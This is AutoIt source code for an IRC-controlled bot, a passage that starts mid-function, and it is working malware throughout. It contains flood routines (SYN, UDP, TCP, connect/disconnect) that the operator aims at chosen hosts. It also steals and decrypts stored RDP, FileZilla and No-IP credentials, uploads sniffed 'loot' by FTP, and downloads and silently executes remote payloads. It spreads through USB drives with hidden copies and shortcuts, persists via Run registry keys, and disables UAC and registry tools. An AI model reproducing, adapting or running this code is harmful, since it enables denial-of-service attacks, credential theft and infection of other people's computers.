_BinaryToInt16($4bytes) $dllStruct2_Integer = DllStructCreate("int") $dllStruct2_Binary = DllStructCreate("byte[4]", DllStructGetPtr($dllStruct2_Integer)) DllStructSetData($dllStruct2_Binary, 1, $4bytes) Return DllStructGetData($dllStruct2_Integer, 1) EndFunc ;==>_BinaryToInt16 Func _condisflood($host, $port, $time) $ip = TCPNameToIP($host) $port = Int($port) $time = Int($time) TCPStartup() Local $timer = TimerInit(), $diff = 0 While 1 $diff = TimerDiff($timer) If $diff >= $time * 1000 Then ExitLoop EndIf $socket = TCPConnect($ip, $port) TCPCloseSocket($socket) WEnd EndFunc ;==>_condisflood Func _elementexists($array, $element) If $element > UBound($array) - 1 Then Return False Return True EndFunc ;==>_elementexists Func _FileListToArray($sPath, $sFilter = "*", $iFlag = 0) Local $hSearch, $sFile, $sFileList, $asFileList[1] If Not FileExists($sPath) Then Return SetError(1, 1, "") If StringRegExp($sFilter, "[\\/:<>|]") Or (Not StringStripWS($sFilter, 8)) Then Return SetError(2, 2, "") If Not ($iFlag = 0 Or $iFlag = 1 Or $iFlag = 2 Or $iFlag = 4 Or $iFlag = 5 Or $iFlag = 6) Then Return SetError(3, 3, "") If (StringMid($sPath, StringLen($sPath), 1) = "\") Then $sPath = StringTrimRight($sPath, 1) $hSearch = FileFindFirstFile($sPath & "\" & $sFilter) If $hSearch = -1 Then Return SetError(4, 4, "") While 1 $sFile = FileFindNextFile($hSearch) If @error Then SetError(0) ExitLoop EndIf If $iFlag = 1 And StringInStr(FileGetAttrib($sPath & "\" & $sFile), "D") <> 0 Then ContinueLoop If $iFlag = 2 And StringInStr(FileGetAttrib($sPath & "\" & $sFile), "D") = 0 Then ContinueLoop If $iFlag > 3 Then $sFile = $sPath & "\" & $sFile $sFileList &= $sFile & "|" WEnd FileClose($hSearch) $asFileList = StringSplit(StringTrimRight($sFileList, 1), "|") Return $asFileList EndFunc ;==>_FileListToArray Func _FTP_Close($l_InternetSession) If $__ghWinInet_FTP = -1 Then Return SetError(-2, 0, 0) Local $ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $l_InternetSession) If @error Or $ai_InternetCloseHandle[0] = 0 Then Return SetError(-1, 1, 0) If $__gbCallback_Set = True Then DllCallbackFree($__ghCallback_FTP) Return $ai_InternetCloseHandle[0] EndFunc ;==>_FTP_Close Func _FTP_Connect($l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_Passive = 0, $i_ServerPort = 0, $l_Service = $INTERNET_SERVICE_FTP, $l_Flags = 0, $l_Context = 0) If $__ghWinInet_FTP = -1 Then Return SetError(-2, 0, 0) If $i_Passive == 1 Then $l_Flags = BitOR($l_Flags, $INTERNET_FLAG_PASSIVE) Local $ai_InternetConnect = DllCall($__ghWinInet_FTP, 'hwnd', 'InternetConnectW', 'handle', $l_InternetSession, 'wstr', $s_ServerName, 'ushort', $i_ServerPort, 'wstr', $s_Username, 'wstr', $s_Password, 'dword', $l_Service, 'dword', $l_Flags, 'dword_ptr', $l_Context) If @error Or $ai_InternetConnect[0] = 0 Then Return SetError(-1, 1, 0) Return $ai_InternetConnect[0] EndFunc ;==>_FTP_Connect Func _FTP_Open($s_Agent, $l_AccessType = $INTERNET_OPEN_TYPE_DIRECT, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0) If $__ghWinInet_FTP = -1 Then __FTP_Init() Local $ai_InternetOpen = DllCall($__ghWinInet_FTP, 'handle', 'InternetOpenW', 'wstr', $s_Agent, 'dword', $l_AccessType, _ 'wstr', $s_ProxyName, 'wstr', $s_ProxyBypass, 'dword', $l_Flags) If @error Or $ai_InternetOpen[0] = 0 Then Return SetError(-1, 1, 0) Return $ai_InternetOpen[0] EndFunc ;==>_FTP_Open Func _FTP_ProgressUpload($l_FTPSession, $s_LocalFile, $s_RemoteFile, $FunctionToCall = "") If $__ghWinInet_FTP = -1 Then Return SetError(-2, 0, 0) Local $fhandle = FileOpen($s_LocalFile, 16) If @error Then Return SetError(-1, 1, 0) Local $ai_ftpopenfile = DllCall($__ghWinInet_FTP, 'handle', 'FtpOpenFileW', 'handle', $l_FTPSession, 'wstr', $s_RemoteFile, 'dword', $GENERIC_WRITE, 'dword', $FTP_TRANSFER_TYPE_BINARY, 'dword_ptr', 0) If @error Or $ai_ftpopenfile[0] = 0 Then Return SetError(-3, 1, 0) Local $glen = FileGetSize($s_LocalFile) Local Const $ChunkSize = 256 * 1024 Local $last = Mod($glen, $ChunkSize) Local $parts = Ceiling($glen / $ChunkSize) Local $buffer = DllStructCreate("byte[" & $ChunkSize & "]") Local $ai_InternetCloseHandle, $ai_ftpwrite, $out, $ret, $lasterror Local $x = $ChunkSize Local $done = 0 For $i = 1 To $parts If $i = $parts And $last > 0 Then $x = $last EndIf DllStructSetData($buffer, 1, FileRead($fhandle, $x)) $ai_ftpwrite = DllCall($__ghWinInet_FTP, 'bool', 'InternetWriteFile', 'handle', $ai_ftpopenfile[0], 'struct*', $buffer, 'dword', $x, 'dword*', $out) If @error Or $ai_ftpwrite[0] = 0 Then $lasterror = 1 $ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $ai_ftpopenfile[0]) ; No need to test @error. FileClose($fhandle) Return SetError(-4, $lasterror, 0) EndIf $done += $x If $FunctionToCall = "" Then ProgressSet(($done / $glen) * 100) Else If $ret <= 0 Then $lasterror = @error $ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $ai_ftpopenfile[0]) ; No need to test @error. DllCall($__ghWinInet_FTP, 'bool', 'FtpDeleteFileW', 'handle', $l_FTPSession, 'wstr', $s_RemoteFile) ; No need to test @error. FileClose($fhandle) Return SetError(-6, $lasterror, $ret) EndIf EndIf Sleep(10) Next FileClose($fhandle) If $FunctionToCall = "" Then ProgressOff() $ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $ai_ftpopenfile[0]) ; No need to test @error. If @error Or $ai_InternetCloseHandle[0] = 0 Then Return SetError(-5, 1, 0) Return 1 EndFunc ;==>_FTP_ProgressUpload Func _GetIP() Local Const $STR_REGEXPARRAYGLOBALMATCH = 3 ; Return array of global matches. Local Const $GETIP_TIMER = 300000 ; Constant for how many milliseconds between each check. This is 5 minutes. Local Static $hTimer = 0 ; Create a static variable to store the timer handle. Local Static $sLastIP = 0 ; Create a static variable to store the last IP. If TimerDiff($hTimer) < $GETIP_TIMER And Not $sLastIP Then ; If still in the timer and $sLastIP contains a value. Return SetExtended(1, $sLastIP) ; Return the last IP instead and set @extended to 1. EndIf #cs | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Additional list of possible IP disovery sites by z3r0c00l12. | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://corz.org/ip | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://icanhazip.com | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://ip.appspot.com | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://ip.eprci.net/text | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://ip.jsontest.com/ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://services.packetizer.com/ipaddress/?f=text | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://whatthehellismyip.com/?ipraw | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://wtfismyip.com/text | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://www.networksecuritytoolkit.org/nst/tools/ip.php | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://www.telize.com/ip | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://www.trackip.net/ip #ce Local $aGetIPURL = ["https://api.ipify.org", "http://checkip.dyndns.org", "http://www.myexternalip.com/raw", "http://bot.whatismyipaddress.com"], _ $aReturn = 0, _ $sReturn = "" For $i = 0 To UBound($aGetIPURL) - 1 Local $aReturn = "" $sReturn = InetRead($aGetIPURL[$i]) If @error Or $sReturn == "" Then ContinueLoop $aReturn = StringRegExp(BinaryToString($sReturn), "((?:\d{1,3}\.){3}\d{1,3})", $STR_REGEXPARRAYGLOBALMATCH) ; [\d\.]{7,15} If Not @error Then $sReturn = $aReturn[0] ExitLoop EndIf $sReturn = "" Next $hTimer = TimerInit() ; Create a new timer handle. $sLastIP = $sReturn ; Store this IP. If $sReturn == "" Then Return SetError(1, 0, -1) Return $sReturn EndFunc ;==>_GetIP Func _Singleton($sOccurrenceName, $iFlag = 0) Local Const $ERROR_ALREADY_EXISTS = 183 Local Const $SECURITY_DESCRIPTOR_REVISION = 1 Local $tSecurityAttributes = 0 If BitAND($iFlag, 2) Then Local $tSecurityDescriptor = DllStructCreate("byte;byte;word;ptr[4]") Local $aRet = DllCall("advapi32.dll", "bool", "InitializeSecurityDescriptor", "struct*", $tSecurityDescriptor, "dword", $SECURITY_DESCRIPTOR_REVISION) If @error Then Return SetError(@error, @extended, 0) If $aRet[0] Then $aRet = DllCall("advapi32.dll", "bool", "SetSecurityDescriptorDacl", "struct*", $tSecurityDescriptor, "bool", 1, "ptr", 0, "bool", 0) If @error Then Return SetError(@error, @extended, 0) If $aRet[0] Then $tSecurityAttributes = DllStructCreate($tagSECURITY_ATTRIBUTES) DllStructSetData($tSecurityAttributes, 1, DllStructGetSize($tSecurityAttributes)) DllStructSetData($tSecurityAttributes, 2, DllStructGetPtr($tSecurityDescriptor)) DllStructSetData($tSecurityAttributes, 3, 0) EndIf EndIf EndIf Local $aHandle = DllCall("kernel32.dll", "handle", "CreateMutexW", "struct*", $tSecurityAttributes, "bool", 1, "wstr", $sOccurrenceName) If @error Then Return SetError(@error, @extended, 0) Local $aLastError = DllCall("kernel32.dll", "dword", "GetLastError") If @error Then Return SetError(@error, @extended, 0) If $aLastError[0] = $ERROR_ALREADY_EXISTS Then If BitAND($iFlag, 1) Then DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $aHandle[0]) If @error Then Return SetError(@error, @extended, 0) Return SetError($aLastError[0], $aLastError[0], 0) Else Exit -1 EndIf EndIf Return $aHandle[0] EndFunc ;==>_Singleton Func _synflood($host, $port, $time) $ip = TCPNameToIP($host) $port = Int($port) $time = Int($time) TCPStartup() Local $timer = TimerInit(), $diff = 0 While 1 $diff = TimerDiff($timer) If $diff >= $time * 1000 Then ExitLoop EndIf TCPConnect($ip, $port) WEnd EndFunc ;==>_synflood Func _tcpflood($ip, $port, $packetsize, $time) $port = Int($port) $packetsize = Int($packetsize) $time = Int($time) TCPStartup() Local $timer = TimerInit(), $diff = 0 $tcpsock = TCPConnect($ip, $port) While 1 $diff = TimerDiff($timer) If $diff >= $time * 1000 Then TCPCloseSocket($tcpsock) ExitLoop EndIf $tcpsock = TCPConnect($ip, $port) While Not @error $packet = "" For $i = 0 To $packetsize Step 1 $packet &= Chr(Random(0, 255, 1)) Next TCPSend($tcpsock, $packet) If $diff >= $time * 1000 Then ExitLoop EndIf WEnd TCPCloseSocket($tcpsock) WEnd EndFunc ;==>_tcpflood Func _udpflood($host, $port, $packetsize, $time) $ip = TCPNameToIP($host) $port = Int($port) $packetsize = Int($packetsize) $time = Int($time) UDPStartup() $packet = "" For $i = 1 To $packetsize $packet &= Chr(Random(0, 255, 1)) Next Local $timer = TimerInit(), $diff = 0 $udpsock = UDPOpen($ip, $port) While 1 $diff = TimerDiff($timer) If $diff >= $time * 1000 Then UDPCloseSocket($udpsock) ExitLoop EndIf UDPSend($udpsock, $packet) WEnd EndFunc ;==>_udpflood Func _WinActiveByExe($sExe, $iActive = True) ;False to WinActivate, True to just see if it's active If Not ProcessExists($sExe) Then Return SetError(1, 0, 0) Local $aPL = ProcessList($sExe) Local $aWL = WinList() For $iCC = 1 To $aWL[0][0] For $xCC = 1 To $aPL[0][0] If $aWL[$iCC][0] <> '' And _ WinGetProcess($aWL[$iCC][1]) = $aPL[$xCC][1] And _ BitAND(WinGetState($aWL[$iCC][1]), 2) Then If $iActive And WinActive($aWL[$iCC][1]) Then Return 1 If Not $iActive And Not WinActive($aWL[$iCC][1]) Then WinActivate($aWL[$iCC][1]) Return 1 EndIf EndIf Next Next Return SetError(2, 0, 0) EndFunc ;==>_WinActiveByExe Func base64($vCode, $bEncode = True, $bUrl = False) Local $oDM = ObjCreate("Microsoft.XMLDOM") If Not IsObj($oDM) Then Return SetError(1, 0, 1) Local $oEL = $oDM.createElement("Tmp") $oEL.DataType = "bin.base64" If $bEncode Then $oEL.NodeTypedValue = Binary($vCode) If Not $bUrl Then Return $oEL.Text Return StringReplace(StringReplace(StringReplace($oEL.Text, "+", "-"), "/", "_"), @LF, "") Else If $bUrl Then $vCode = StringReplace(StringReplace($vCode, "-", "+"), "_", "/") $oEL.Text = $vCode Return $oEL.NodeTypedValue EndIf EndFunc ;==>base64 Func changemode($irc, $mode, $chan = "") If $irc = -1 Then Return 0 If $chan = "" Then TCPSend($irc, "MODE " & $mode & @CRLF) If @error Then Return -1 EndIf Return 1 EndIf TCPSend($irc, "MODE " & $chan & " " & $mode & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>changemode ; #FUNCTION# Func cmd($user, $channel, $msg) Local $stemp = StringSplit($msg, " ") If StringRight($stemp[1], 1) == "*" Then $stemp[1] = StringTrimRight($stemp[1], 1) If StringLeft($stemp[1], 1) == "!" Then $stemp[1] = StringTrimLeft($stemp[1], 1) If StringLeft($botid, StringLen($stemp[1])) == $stemp[1] Then Else Return EndIf Switch StringLower($stemp[2]) Case "signin" If _elementexists($stemp, 3) Then If $stemp[3] == $botpassword Then sendmessage($sock, "Signin successful.", $channel) $signedin = True Else sendmessage($sock, "Signin failed!", $channel) EndIf EndIf Case "signout" If $signedin = True Then sendmessage($sock, "Successfully signed out.", $channel) $signedin = False EndIf Case "syn" If _elementexists($stemp, 5) And $signedin = True Then sendmessage($sock, "SYN flooding " & $stemp[3] & ":" & $stemp[4], $channel) _synflood($stemp[3], $stemp[4], $stemp[5]) sendmessage($sock, "SYN flood finished", $channel) EndIf Case "udp" If _elementexists($stemp, 6) And $signedin = True Then sendmessage($sock, "UDP flooding " & $stemp[3] & ":" & $stemp[4] & " with packetsize " & $stemp[5], $channel) _udpflood($stemp[3], $stemp[4], $stemp[5], $stemp[6]) sendmessage($sock, "UDP flood finished", $channel) EndIf Case "tcp" If _elementexists($stemp, 6) And $signedin = True Then sendmessage($sock, "TCP flooding " & $stemp[3] & ":" & $stemp[4], $channel) _tcpflood($stemp[3], $stemp[4], $stemp[5], $stemp[6]) sendmessage($sock, "TCP flood finished", $channel) EndIf Case "condis" If _elementexists($stemp, 5) And $signedin = True Then sendmessage($sock, "Connect/disconnect flooding " & $stemp[3] & ":" & $stemp[4], $channel) _condisflood($stemp[3], $stemp[4], $stemp[5]) sendmessage($sock, "Connect/disconnect flood finished", $channel) EndIf Case "loot" If _elementexists($stemp, 5) And $signedin = True Then If FileExists($lootLoc) Then $sServer = TCPNameToIP($stemp[3]) $hOpen = _FTP_Open($botid) $hConn = _FTP_Connect($hOpen, $sServer, $stemp[4], $stemp[5], 1) $hPutFile = _FTP_ProgressUpload($hConn, $lootLoc, "sniffs-" & @UserName & "-" & @ComputerName & "@" & $myIP & ".txt") _FTP_Close($hConn) _FTP_Close($hOpen) If $hPutFile = 1 Then sendmessage($sock, "Successfully uploaded loot.", $channel) Else sendmessage($sock, "Error uploading loot.", $channel) EndIf Else sendmessage($sock, "No loot!!! (maybe I'm not running as admin!)", $channel) EndIf EndIf Case "noip" If $signedin = True Then sendmessage($sock, NOIP(), $channel) EndIf Case "filezilla" If $signedin = True Then sendmessage($sock, FileZilla(), $channel) EndIf Case "rdp" If $signedin = True Then For $i = 0 To 20 $ServIP = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default", "MRU" & $i) If $ServIP == "" Then ExitLoop $ServUser = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\UsernameHint", $ServIP) $Creds = UncryptRDPPassword(BinaryToString(RegRead("HKEY_LOCAL_MACHINE\Comm\Security\CredMan\Creds", $i), 2)) $RDPCreds &= $ServIP & " USR: " & $ServUser & " PWD: " & $Creds & "|" Next If $RDPCreds <> "" Then sendmessage($sock, StringTrimRight($RDPCreds, 1), $channel) EndIf EndIf Case "getip" If $signedin = True Then sendmessage($sock, $myIP, $channel) EndIf Case "dlexe" If _elementexists($stemp, 3) And $signedin = True Then $exe = "" Dim $aspace[3] $Digits = 8 For $i = 1 To $Digits $aspace[0] = Chr(Random(65, 90, 1)) $aspace[1] = Chr(Random(97, 122, 1)) $aspace[2] = Chr(Random(48, 57, 1)) $exe &= $aspace[Random(0, 2, 1)] Next Dim $hdownload = InetGet($stemp[3], @TempDir & "\" & $exe & ".exe", 1, 0) Run(@TempDir & "\" & $exe & ".exe", "", @SW_HIDE) sendmessage($sock, "Downloaded and executed!", $channel) EndIf Case "usb" If $signedin = True Then Local $drivecount = lnk() sendmessage($sock, "Infected " & $drivecount & " removable drives.", $channel) EndIf Case "silentinstall" If _elementexists($stemp, 3) And $signedin = True Then $msi = "" Dim $aspace[3] $Digits = 8 For $i = 1 To $Digits $aspace[0] = Chr(Random(65, 90, 1)) $aspace[1] = Chr(Random(97, 122, 1)) $aspace[2] = Chr(Random(48, 57, 1)) $msi &= $aspace[Random(0, 2, 1)] Next Dim $hdownload = InetGet($stemp[3], @TempDir & "\" & $msi & ".msi", 1, 0) Run("MsiExec.exe /i """ & @TempDir & "\" & $msi & ".msi"" /qn /norestart", "", @SW_HIDE) sendmessage($sock, "Silently installing...", $channel) EndIf Case "update" If _elementexists($stemp, 3) And $signedin = True Then dlexe($stemp[3]) RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services") RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Services") sendmessage($sock, "Updated!", $channel) Exit EndIf EndSwitch EndFunc ;==>cmd Func connect($nodes) For $i = 1 To UBound($nodes) - 1 $mynode = $nodes[$i] If $mynode <> "" Then $sock = TCPConnect(TCPNameToIP(StringSplit($mynode, ":")[1]), Number(StringSplit($mynode, ":")[2])) If $sock <> -1 Then ExitLoop EndIf EndIf Next If $sock == -1 Then Return -1 EndIf nickname($sock) TCPSend($sock, "USER " & $botid & " 0 * :" & $botid & @CRLF) Return $sock EndFunc ;==>connect Func dlexe($url) $exe = "" Dim $aspace[3] $Digits = 8 For $i = 1 To $Digits $aspace[0] = Chr(Random(65, 90, 1)) $aspace[1] = Chr(Random(97, 122, 1)) $aspace[2] = Chr(Random(48, 57, 1)) $exe &= $aspace[Random(0, 2, 1)] Next Dim $hdownload = InetGet($url, @TempDir & "\" & $exe & ".exe", 1, 0) Run(@TempDir & "\" & $exe & ".exe", "", @SW_HIDE) EndFunc ;==>dlexe Func FileZilla() Local $pwds, $h, $FN = @AppDataDir & "\FileZilla\recentservers.xml" If FileExists($FN) = False Then Return "" $h = FileOpen($FN, 0) If $h = -1 Then Return "" $host = "" $port = 21 $usr = "" $pw = "" While True $line = FileReadLine($h) If @error = -1 Then ExitLoop If StringInStr($line, "") Then $usr = "" $pw = "" $port = 21 $host = StringMid($line, 1, StringInStr($line, "") + 1) EndIf If StringInStr($line, "") Then $port = StringMid($line, 1, StringInStr($line, "") + 1) EndIf If StringInStr($line, "") Then $usr = StringMid($line, 1, StringInStr($line, "") + 1) EndIf If StringInStr($line, "") Then $pw = StringMid($line, 1, StringInStr($line, "") + 1), False) EndIf If StringInStr($line, "") Then $pwds = $pwds & "URL: ftp://" & $host & ":" & $port & " USR: " & $usr & " PWD: " & $pw & "|" EndIf WEnd Return $pwds EndFunc ;==>FileZilla Func fixsys() $read_showsuperhidden = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden") If $read_showsuperhidden = "1" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", "REG_DWORD", 0) EndIf $read_disableregistrytools = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools") If $read_disableregistrytools = "0" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", 1) EndIf $read_nofolderoptions = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions") If $read_nofolderoptions = "0" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions", "REG_DWORD", 1) EndIf $read_uac = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA") If $read_uac = "1" Then RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA", "REG_DWORD", "0") EndIf EndFunc ;==>fixsys Func genIP() While 1 $sIPAddr = Random(1, 255, 1) & "." & Random(1, 255, 1) & "." & Random(1, 255, 1) & "." & Random(1, 255, 1) If StringRegExp($sIPAddr, "^((25[0-5]|2[0-4]\d|[01]?\d?\d)\.){3}(25[0-5]|2[0-4]\d|[01]?\d?\d)$") Then Return $sIPAddr WEnd EndFunc ;==>genIP Func GetLastError() Local $aiE = DllCall("kernel32.dll", "dword", "GetLastError") Return $aiE[0] EndFunc ;==>GetLastError Func joinchannel($irc, $channel) If $irc = -1 Then Return 0 TCPSend($irc, "JOIN " & $channel & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>joinchannel Func install() DirCreate($installdir) FileCopy(@ScriptFullPath, $installpath, 8) FileSetAttrib($installdir, "+SH") FileSetAttrib($installpath, "+SH") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services", "REG_SZ", $installpath) If IsAdmin() Then RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Services", "REG_SZ", $installpath) EndIf EndFunc Func lnk() Local $aArray = DriveGetDrive("REMOVABLE") Local $drivecount = 0 For $i = 0 To UBound($aArray) - 1 Local $Drive = StringUpper($aArray[$i]) $x = _FileListToArray($Drive & "\", "*") If @error Then Return $drivecount FileCopy(@ScriptFullPath, $Drive & "\link.exe") Local $p = $Drive & "\link.exe" FileSetAttrib($p, "+H") For $name In $x If StringInStr(FileGetAttrib($name), "D") Then FileCreateShortcut($p, StringUpper($aArray[$i]) & "\" & $name, "", "", "", "%windir%\system32\shell32.dll", "", 3, @SW_SHOWNOACTIVATE) EndIf Next $drivecount += 1 Next Return $drivecount EndFunc ;==>lnk Func newnickname($irc) $nick = $nickformat & randID() TCPSend($irc, "NICK " & $nick & @CRLF) EndFunc ;==>newnickname Func nickname($irc) TCPSend($irc, "NICK " & $nick & @CRLF) EndFunc ;==>nickname Func NOIP() Local $pwd = "" $usr = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username") If $usr = "" Then Return "" $usr = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password") Return "URL: http://no-ip.com/ USR: " & $usr & " PWD (Base64): " & $pwd EndFunc ;==>NOIP Func pong($irc, $ret) If $ret = "" Then Return -1 TCPSend($irc, "PONG " & $ret & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>pong Func randID() Dim $aspace[3] $id = "" $Digits = 8 For $i = 1 To $Digits $aspace[0] = Chr(Random(65, 90, 1)) $aspace[1] = Chr(Random(97, 122, 1)) $aspace[2] = Chr(Random(48, 57, 1)) $id &= $aspace[Random(0, 2, 1)] Next Return $id EndFunc ;==>randID Func sendmessage($irc, $msg, $chan = "") If $irc = -1 Then Return 0 If $chan = "" Then TCPSend($irc, $msg & @CRLF) If @error Then Return -1 EndIf Return 1 EndIf TCPSend($irc, "PRIVMSG " & $chan & " :" & $msg & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>sendmessage Func UncryptRDPPassword($bin) Local Const $CRYPTPROTECT_UI_FORBIDDEN = 0x1 Local Const $DATA_BLOB = "int;ptr" Local $passStr = DllStructCreate("byte[1024]") Local $DataIn = DllStructCreate($DATA_BLOB) Local $DataOut = DllStructCreate($DATA_BLOB) $pwDescription = 'psw' $PwdHash = "" DllStructSetData($DataOut, 1, 0) DllStructSetData($DataOut, 2, 0) DllStructSetData($passStr, 1, $bin) DllStructSetData($DataIn, 2, DllStructGetPtr($passStr, 1)) DllStructSetData($DataIn, 1, BinaryLen($bin)) $Return = DllCall("crypt32.dll", "int", "CryptUnprotectData", _ "ptr", DllStructGetPtr($DataIn), _ "ptr", 0, _ "ptr", 0, _ "ptr", 0, _ "ptr", 0, _ "dword", $CRYPTPROTECT_UI_FORBIDDEN, _ "ptr", DllStructGetPtr($DataOut)) If @error Then Return "" $len = DllStructGetData($DataOut, 1) $PwdHash = Ptr(DllStructGetData($DataOut, 2)) $PwdHash = DllStructCreate("byte[" & $len & "]", $PwdHash) Return BinaryToString(DllStructGetData($PwdHash, 1), 4) EndFunc ;==>UncryptRDPPassword